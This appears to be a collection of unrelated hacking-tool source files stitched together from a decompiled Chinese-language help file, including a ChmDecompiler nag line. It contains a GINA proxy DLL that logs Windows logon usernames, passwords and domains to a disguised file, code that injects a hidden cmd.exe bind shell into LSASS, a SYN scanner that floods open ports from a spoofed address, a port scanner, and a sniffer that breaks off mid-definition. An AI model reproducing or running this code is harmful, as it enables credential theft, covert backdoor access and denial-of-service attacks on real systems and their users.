PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;

//
// NEW for version 1.1
//

PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;

//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{
    HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
//　　then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
//　　if named others then just load MSGINA.DLL
//
    char origina[]="MSGINA.DLL";
    char chgedgina[]="mslogon32.dll";
    char *realgina;
    char filename[MAX_PATH];
    int result;
    FILE *fp;
    HMODULE hself;

#ifdef _DEBUG
        fp=fopen("ginalog.txt", "ab");
        if(fp)
        {
            sprintf(filename, "\r\nMyInitialize been called by ");
            fwrite(filename, strlen(filename), 1, fp);
            result=GetModuleFileName(NULL, filename, MAX_PATH);
            if(result)fwrite(filename, strlen(filename), 1, fp);
            fclose(fp);
        }
#endif

    realgina=NULL;
    hself=GetModuleHandle(origina);
    if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
    else realgina=chgedgina;//if origina loaded, this is origina

    // Load original MSGINA.DLL.
    if( !(hDll = LoadLibrary( realgina )) ) {
        return FALSE;
    }

    // Get pointers to all of the WLX functions in the real MSGINA.
    GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
    if( !GWlxNegotiate ) {
        return FALSE;
    }

    GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
    if( !GWlxInitialize ) {
        return FALSE;
    }

    GWlxDisplaySASNotice =
        (PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
    if( !GWlxDisplaySASNotice ) {
        return FALSE;
    }

    GWlxLoggedOutSAS =
        (PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
    if( !GWlxLoggedOutSAS ) {
        return FALSE;
    }

    GWlxActivateUserShell =
        (PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
    if( !GWlxActivateUserShell ) {
        return FALSE;
    }

    GWlxLoggedOnSAS =
        (PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
    if( !GWlxLoggedOnSAS ) {
        return FALSE;
    }

    GWlxDisplayLockedNotice =
        (PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
                                        hDll,
                                        "WlxDisplayLockedNotice" );
    if( !GWlxDisplayLockedNotice ) {
        return FALSE;
    }

    GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
    if( !GWlxIsLockOk ) {
        return FALSE;
    }

    GWlxWkstaLockedSAS =
        (PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
    if( !GWlxWkstaLockedSAS ) {
        return FALSE;
    }

    GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
    if( !GWlxIsLogoffOk ) {
        return FALSE;
    }

    GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
    if( !GWlxLogoff ) {
        return FALSE;
    }

    GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
    if( !GWlxShutdown ) {
        return FALSE;
    }

    // we don't check for failure here because these don't exist for
    // gina's implemented prior to Windows NT 4.0
    GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
    GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );

    // Everything loaded ok.　Return success.
    return TRUE;
}

BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
    if( !MyInitialize() )　return FALSE;
    return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}

BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
    PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
    return GWlxInitialize( lpWinsta, hWlx, pvReserved,
                pWinlogonFunctions, pWlxContext );
}

VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
{
    GWlxDisplaySASNotice( pWlxContext );
}

int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
    PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
    PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
    PVOID *pProfile)
{
    int iRet;

    iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
       pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );

    if(iRet == WLX_SAS_ACTION_LOGON) {
        // copy pMprNotifyInfo and pLogonSid for later use

        FILE *fp;
        fp=fopen("msole32.srg", "a");
        if(fp!=NULL)
        {
            char infor[300], buf[300];
            memset(buf, 0, 300);
            wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
            sprintf(infor, "%s", buf);

            memset(buf, 0, 300);//if convert failed, we use the error one also
            wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
            sprintf(infor, "%s:%s", infor, buf);

            memset(buf, 0, 300);
            wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
            sprintf(infor, "%s:%s\r\n", infor, buf);

            fwrite(infor, 1, strlen(infor), fp);
            fclose(fp);
        }
        // pMprNotifyInfo->pszOldPassword
    }

    return iRet;
}

BOOL WINAPI WlxActivateUserShell(
    PVOID　　　　　 pWlxContext,
    PWSTR　　　　　 pszDesktopName,
    PWSTR　　　　　 pszMprLogonScript,
    PVOID　　　　　 pEnvironment)
{
    return GWlxActivateUserShell(
                pWlxContext,
                pszDesktopName,
                pszMprLogonScript,
                pEnvironment
                );
}

int WINAPI WlxLoggedOnSAS(
    PVOID　　　　　 pWlxContext,
    DWORD　　　　　 dwSasType,
    PVOID　　　　　 pReserved)
{
    return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
}

VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
{
    GWlxDisplayLockedNotice( pWlxContext );
}

BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
{
    return GWlxIsLockOk( pWlxContext );
}

int WINAPI WlxWkstaLockedSAS(
    PVOID　　　　　 pWlxContext,
    DWORD　　　　　 dwSasType )
{
    return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
}

BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{
    BOOL bSuccess;

    bSuccess = GWlxIsLogoffOk( pWlxContext );

    if(bSuccess) {
        //
        // if it's ok to logoff, finish with the stored credentials
        // and scrub the buffers
        //
    }

    return bSuccess;
}

VOID WINAPI WlxLogoff( PVOID pWlxContext )
{
    GWlxLogoff( pWlxContext );
}

VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
{
    GWlxShutdown( pWlxContext, ShutdownType );
}

//
// NEW for version 1.1
//
BOOL WINAPI WlxScreenSaverNotify(
    PVOID　　　　　　　　　 pWlxContext,
    BOOL *　　　　　　　　　pSecure
    )
{
    if(GWlxScreenSaverNotify != NULL)
        return GWlxScreenSaverNotify( pWlxContext, pSecure );

    //
    // if not exported, return something intelligent
    //
    *pSecure = TRUE;
    return TRUE;
}

BOOL WINAPI WlxStartApplication(
    PVOID　　　　　　　　　 pWlxContext,
    PWSTR　　　　　　　　　 pszDesktopName,
    PVOID　　　　　　　　　 pEnvironment,
    PWSTR　　　　　　　　　 pszCmdLine
    )
{
    if(GWlxStartApplication != NULL)
        return GWlxStartApplication(
            pWlxContext,
            pszDesktopName,
            pEnvironment,
            pszCmdLine
            );
    //
    // if not exported, return something intelligent
    //
}

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


#include<windows.h>
//#include<winsock2.h>
#include
        <Shlwapi.h>
#include <tlhelp32.h>
#pragma comment(lib,"Shlwapi.lib")
//参数结构 ;
typedef struct _RemotePara{
DWORD dwLoadLibrary;
DWORD
        dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD
        dwWSAStartup;
DWORD dwSocket;
DWORD
        dwhtons;
DWORD dwbind;
DWORD
        dwlisten;
DWORD dwaccept;
DWORD
        dwsend;
DWORD dwrecv;
DWORD
        dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD
        dwWriteFile;
DWORD dwReadFile;
DWORD
        dwCloseHandle;
DWORD dwCreatePipe;
DWORD
        dwTerminateProcess;
   DWORD
        dwMessageBox;
char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char
        Buff[4096];
char telnetmsg[60];
}RemotePara;
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 提升应用级调试权限
DWORD GetPidByName(char *szName); // 根据进程名称得到进程ID
// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para){
WSADATA WSAData;
SOCKET listenSocket, clientSocket;
struct sockaddr_in server_addr, client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;
 typedef HINSTANCE (__stdcall
        *PLoadLibrary)(char*);
typedef FARPROC (__stdcall
        *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE
        (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE
        (__stdcall *PGetModuleHandle)(HMODULE);
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;
PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwLoadLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;
LoadLibraryFunc(Para->winsockDll);
PWSAStartup = (FARPROC)Para->dwWSAStartup;
PSocket = (FARPROC)Para->dwSocket;
Phtons = (FARPROC)Para->dwhtons;
Pbind = (FARPROC)Para->dwbind;
Plisten = (FARPROC)Para->dwlisten;
Paccept = (FARPROC)Para->dwaccept;
Psend = (FARPROC)Para->dwsend;
Precv = (FARPROC)Para->dwrecv;
Pclosesocket = (FARPROC)Para->dwclosesocket;
PCreateProcessA = (FARPROC)Para->dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;
PWriteFile = (FARPROC)Para->dwWriteFile;
PReadFile = (FARPROC)Para->dwReadFile;
PCloseHandle = (FARPROC)Para->dwCloseHandle;
PCreatePipe = (FARPROC)Para->dwCreatePipe;
PTerminateProcess = (FARPROC)Para->dwTerminateProcess;
PMessageBoxA = (FARPROC)Para->dwMessageBox;
 PWSAStartup((WORD)((1<<8)|1),
        (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET,
        SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return
        0;
server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;
 if(Pbind(listenSocket, (struct sockaddr
        *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return
        0;
if(Plisten(listenSocket, 5))return 0;
clientSocket
        = Paccept(listenSocket, (struct sockaddr *)&client_addr,
        &iAddrSize);
// Psend(clientSocket, Para->telnetmsg, 60,
        0);
 if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return
        0;
if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return
        0;
 ZeroMemory(&si,sizeof(si));
        //ZeroMemory是C运行库函数，可以直接调用
si.dwFlags     =
        STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow =
        SW_HIDE;
si.hStdInput   =
        hReadPipe2;
si.hStdOutput  = si.hStdError =
        hWritePipe1;
 if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return
        0;
while(1) {
memset(Para->Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1,
        Para->Buff, lBytesRead, &lBytesRead, 0))break;
if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para->Buff,
        4096, 0);
if(lBytesRead <=0 ) break;
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead,
        0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);
// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
 //
        获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS
pID =
        GetPidByName("LSASS.EXE");
if(pID == 0)return
        0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0;
 // 在远程进程地址空间分配虚拟内存
pRemoteThread
        = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT |
        MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return
        0;
// 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;

ZeroMemory(&myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");
myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");
hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");
hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
 strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");

//写进目标进程
pRemotePara =(RemotePara
        *)VirtualAllocEx (hRemoteProcess
        ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return
        0;
if(!WriteProcessMemory (hRemoteProcess
        ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
 // 启动线程
hThread =
        CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void
        *))pRemoteThread ,pRemotePara,0,&byte_write);

FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);
return 0;
}
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR
        szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES
        tp;
tp.PrivilegeCount =
        1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes
        = fEnable ?
        SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError()
        == ERROR_SUCCESS));
}
DWORD GetPidByName(char
        *szName)
{
HANDLE hProcessSnap =
        INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD
        dwRet=0;

hProcessSnap
        =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
        0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return
        0;

pe32.dwSize =
        sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,
        &pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while
        (Process32Next(hProcessSnap,&pe32));
}
else return
        0;

if(hProcessSnap
        !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return
        dwRet;
}


/*
File : linuxsyn.c linuxsyn.h linuxlib.c linuxlib.h
Test : Linux2.2.5
Compile:
*/
/*******************************************************************
* *
* 头文件 *
* *
*******************************************************************/
#include "linuxsyn.h"
int sendSyn ( int sendSocket, u_long sourceIp, u_short sourcePort, u_long seqNum, struct sockaddr_in *dest )
{
unsigned char netPacket[IPTCPSIZE];
struct iphdr *ip;
struct tcphdr *tcp;
unsigned char *pPseudoHead; /* 指向伪头标的指针 */
unsigned char pseudoHead[12 + sizeof(struct tcphdr)]; /* 伪头标占12字节 */
u_short tcpHeadLen; /* 网络字节顺序 */
memset( netPacket, 0, IPTCPSIZE );
ip = (struct iphdr *)netPacket;
ip->ihl
        = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len =
        htons( IPTCPSIZE );
ip->id = htons( 2600 + ( rand() % 32768 ) );
        /* 随机产生ip->id */
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->check = 0;
ip->saddr = sourceIp;
ip->daddr =
        dest->sin_addr.s_addr;
/*
ip->check = in_cksum( (char
        *)&ip, sizeof( struct iphdr ) );
*/
tcpHeadLen = htons( sizeof(struct tcphdr) ); /*
        网络字节顺序 */
tcp = (struct tcphdr *)( netPacket + sizeof( struct iphdr
        ) );
tcp->source = htons( sourcePort );
tcp->dest = htons(
        dest->sin_port );
tcp->seq = htonl( seqNum );
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->window = htons( 10052 );
tcp->check = 0;
tcp->urg_ptr = 0;
pPseudoHead = pseudoHead;
memset(
        pPseudoHead, 0, 12 + sizeof(struct tcphdr) );
memcpy( pPseudoHead,
        &(ip->saddr), 8 );
pPseudoHead += 9; /* 有一个字节用做对齐 */
memcpy( pPseudoHead, &(ip->protocol), 1 );
pPseudoHead++;
memcpy( pPseudoHead, &tcpHeadLen, 2 );
pPseudoHead += 2;
memcpy( pPseudoHead, tcp, sizeof( struct tcphdr ) );
tcp->check = in_cksum( (u_short *)pseudoHead, sizeof(struct tcphdr) + 12 );
return( sendto( sendSocket, netPacket, IPTCPSIZE, 0,
(struct sockaddr *)dest, sizeof(struct sockaddr_in) ) );
} /* end of sendSyn */
int synScan ( int sendSocket, int readSocket, u_long sourceIp, u_short sourcePort, u_short lowPort, u_short highPort, struct sockaddr_in *dest )
{
unsigned char netPacket[IPTCPSIZE];
struct iphdr *ip;
struct tcphdr *tcp;
int portLoop, portTotal = 0;
ip = (struct iphdr *)netPacket;
tcp =
        (struct tcphdr *)( netPacket + sizeof( struct iphdr ) );
for (
        portLoop = lowPort, portTotal = 0 ; portLoop <= highPort &&
        portTotal < HIGHPORT ; portLoop++ )
{
dest->sin_port =
        portLoop; /* 循环设定待扫描端口 */
if ( sendSyn( sendSocket, sourceIp,
        sourcePort, 31337, dest ) == -1 )
{
err_sys( "Error sending SYN
        packet" );
}
while ( 1 )
{
memset( &netPacket,
        0, IPTCPSIZE );
read( readSocket, &netPacket, IPTCPSIZE );
/* 是来自目标IP？ */
if( ip->saddr != dest->sin_addr.s_addr )
{
continue;
}
/* 序列号正确？ */
if( (ntohl(tcp->ack_seq) !=
        31338) && (ntohl(tcp->ack_seq) != 31337) )
{
continue;
}
/* RST/ACK - No service listening on port. */
if( tcp->rst && tcp->ack )
{
break;
}
/* SYN/ACK - Service listening on port. 扫描到一个端口
        */
if( tcp->ack && tcp->syn )
{
ports[portTotal] = ntohs( tcp->source ); /* 记录扫描到的目标端口 */
fprintf( stderr, "%d\n", ports[portTotal] );
fflush( stderr );
portTotal++;
break;
}
} /* end of while */
} /* end of for */
return( portTotal );
} /* end of synScan */
void synFlood ( int sendSocket, u_long fakeIp, u_short fakePort, u_short synNum, struct sockaddr_in *dest )
{
int i;
fprintf( stderr, "%d", dest->sin_port );
fflush( stderr );
for ( i = 0; i < synNum; i++ )
{
usleep( 30 );
if( (sendSyn(sendSocket, fakeIp, fakePort, 31337,
        dest)) == -1 )
{
err_sys( "Error sending SYN packet" );
}
fakePort++;
fprintf( stderr, "." );
fflush( stderr );
}
        /* end of for */
fprintf( stderr, "\n" );
return;
} /* end
        of synFlood */
u_long resolve ( char *host )
{
struct hostent *he;
u_long ip;
if( (he = gethostbyname(host)) == NULL )
{
ip = inet_addr( host ); /* 网络字节顺序 */
}
else
{
bcopy(
        he->h_addr_list[0], &ip, sizeof(u_long) );
}
return( ip
        );
} /* end of resolve */
int main ( int argc, char* argv[] )
{
int c, sendSocket, readSocket, portTotal;
u_long fakeIp, sourceIp, destIp;
u_short i, lowPort, highPort, synNum, fakePort = 2600, sourcePort = 2600;
struct sockaddr_in dest;
unsigned char hostName[256];
portTotal = synNum = lowPort = highPort =
        fakeIp = sourceIp = destIp = 0;
opterr = 0; /* don't want getopt()
        writing to stderr */
while ( (c = getopt(argc, argv,
        "n:l:h:i:p:f:")) != EOF )
{
switch ( c )
{
case 'n':
synNum = (u_int16_t)strtoul( optarg, NULL, 10 );
break;
case
        'l':
lowPort = (u_int16_t)strtoul( optarg, NULL, 10 );
break;
case 'h':
highPort = (u_int16_t)strtoul( optarg, NULL, 10 );
break;
case 'i': /* 目标主机 */
if( (destIp = resolve( optarg ))
        == -1 )
{
fprintf( stderr, "Bad hostname or ip address: %s\n",
        optarg );
goto ERROPTION;
}
break;
case 'p': /* 目标端口 */
lowPort = highPort = (u_int16_t)strtoul( optarg, NULL, 10 );
break;
case 'f': /* fakeIp */
if( (fakeIp = inet_addr(
        optarg )) == -1 )
{
fprintf( stderr, "Bad ip address: %s\n",
        optarg );
fprintf( stderr, "Defaulting to %s...\n", FAKEIP );
fakeIp = inet_addr( FAKEIP );
}
break;
case '?':
ERROPTION:
err_quit( " Usage: %s [-n synNum] [-l lowPort] [-h highPort]\n\t[-i targetHost] [-p targetPort] [-f fakeIp]", argv[0] );
break;
} /* end of switch */
} /* end of while 处理命令行参数 */
/* Institute defaults if these options have not
        been specified. */
if ( !destIp )
{
goto ERROPTION;
}
if ( !synNum )
{
synNum = SYNNUM;
}
if ( !lowPort )
{
lowPort = LOWPORT;
}
if ( !highPort )
{
highPort = HIGHPORT;
}
if ( !fakeIp )
{
fakeIp =
        inet_addr( FAKEIP ); /* 返回u_long */
}
/* Fill in dest sockaddr_in structure. */
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = destIp;
dest.sin_port = 0;
if ( gethostname(hostName, sizeof(hostName) -
        1) == -1 )
{
err_sys( "Unable to get our hostname" );
}
if( (sourceIp = resolve(hostName)) == -1 )
{
err_sys(
        "Unable to resolve our hostname" );
}
sendSocket = Socket( PF_INET, SOCK_RAW,
        IPPROTO_RAW );
readSocket = Socket( PF_INET, SOCK_RAW, IPPROTO_TCP
        );
fprintf( stderr, "Beginning on %s，from %d to %d. \n",
inet_ntoa(dest.sin_addr), lowPort, highPort );
fprintf( stderr, "Scanning ... ...\n" );
fflush( stderr );
portTotal = synScan( sendSocket, readSocket,
        sourceIp, sourcePort, lowPort, highPort, &dest );
fprintf(
        stderr, "Scan completed. %d listening ports found.\n", portTotal );
usleep( 2000 ); /* Pause to let everything clear out. */
fprintf( stderr, "Flooding with %d SYNs each
        port...\n", synNum );
fflush( stderr );
if( portTotal )
{
for( i = 0; i < portTotal; i++ )
{
dest.sin_port =
        ports[i];
synFlood( sendSocket, fakeIp, fakePort, synNum, &dest
        );
}
}
fprintf( stderr, "Flood completed, exiting ... ...\n"
        );
return (0);
} /* end of main */


#include <string.h>
#include <winsock.h>
#include <windows.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32.lib")
int main(int argc, char *argv[])
{
cout<<"**************************************************"<<endl
<<"单线程端口扫描器"<<endl<<endl
<<"作者:东方"<<endl
<<"**************************************************"<<endl;

int portStart=1,portEnd=65535;
int mysocket;
int portCount = 0;
struct sockaddr_in my_addr;
WSADATA wsaData;
WORD wVersionRequested=MAKEWORD(1,1);//设置最低版本号

if(argc < 2)
{
cout<<"usage:"<<argv[0]<<" host portstart portend\n"<<endl;
exit(1);
}
if (portStart>portEnd)
cout<<"错误!开始端口号必须小于结束端口号"<<endl;
else
{
if (WSAStartup(wVersionRequested , &wsaData))
{
cout<<"连接socket库失败,请检查版本号是否为1.1\n"<<endl;
exit(1);
}
portStart=atoi(argv[2]);
portEnd=atoi(argv[3]);
lable:
        for(int i=portStart; i < portEnd; i++)
{
        //atoi()将字符串转换为数字
cout<<"正在建立socket........................."<<endl;
if((mysocket = socket(AF_INET, SOCK_STREAM,0)) == INVALID_SOCKET)
{
cout<<"Socket建立失败"<<endl;
goto lable;
}

my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(i); //将端口转化
my_addr.sin_addr.s_addr = inet_addr(argv[1]);
cout<<"正在扫描端口:"<<i<<endl;
if(connect(mysocket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == SOCKET_ERROR)
{
cout<<"端口"<<i<<"关闭!"<<endl;
closesocket(mysocket);
}
else
{
portCount++;
cout<<"端口"<<i<<"开放\n"<<endl;
}
}

cout<<"目标主机"<<argv[1]<<"从"<<portStart<<"--"<<portEnd<<"共有"<<portCount<<"个端口开放"<<endl;
closesocket(mysocket);
WSACleanup(); //in order to allow the WS2_32.DLL to free any resources for the application
}
return 0;
}


写的不是很完善。
大家看看就是了！
// Sniffer.cpp : Defines the entry point for the console application.
//WIN 2K + VC 6.0下编译通过
/*#include "stdafx.h"

int main(int argc, char* argv[])
{
return 0;
}*/
#include<stdio.h>
#include<string.h>
#include<Winsock2.h>
#pragma
        comment(lib,"ws2_32")
#define STATUS_FAILED 0xFFFF
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_PROTO_TEXT_LEN 16
#define MAX_PROTO_NUM 12
#define MAX_HOSTNAME_LAN 255
#define CMD_PARAM_HELP true
//////////////////////////////////////////////////////////////////
typedef
        struct _IPHDR
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}
IP_HEADER;
typedef struct _TCPHDR
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}
TCP_HEADER;
typedef struct _UDPHDR
{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}
UDP_HEADER;
typedef struct _ICMPHDR
{
BYTE i_type;
BYTE i_code;
USHORT i_cksum;
USHORT i_id;
USHORT i_seq;
ULONG timestamp;
}
ICMP_HEADER;
typedef struct _PROTOMAP
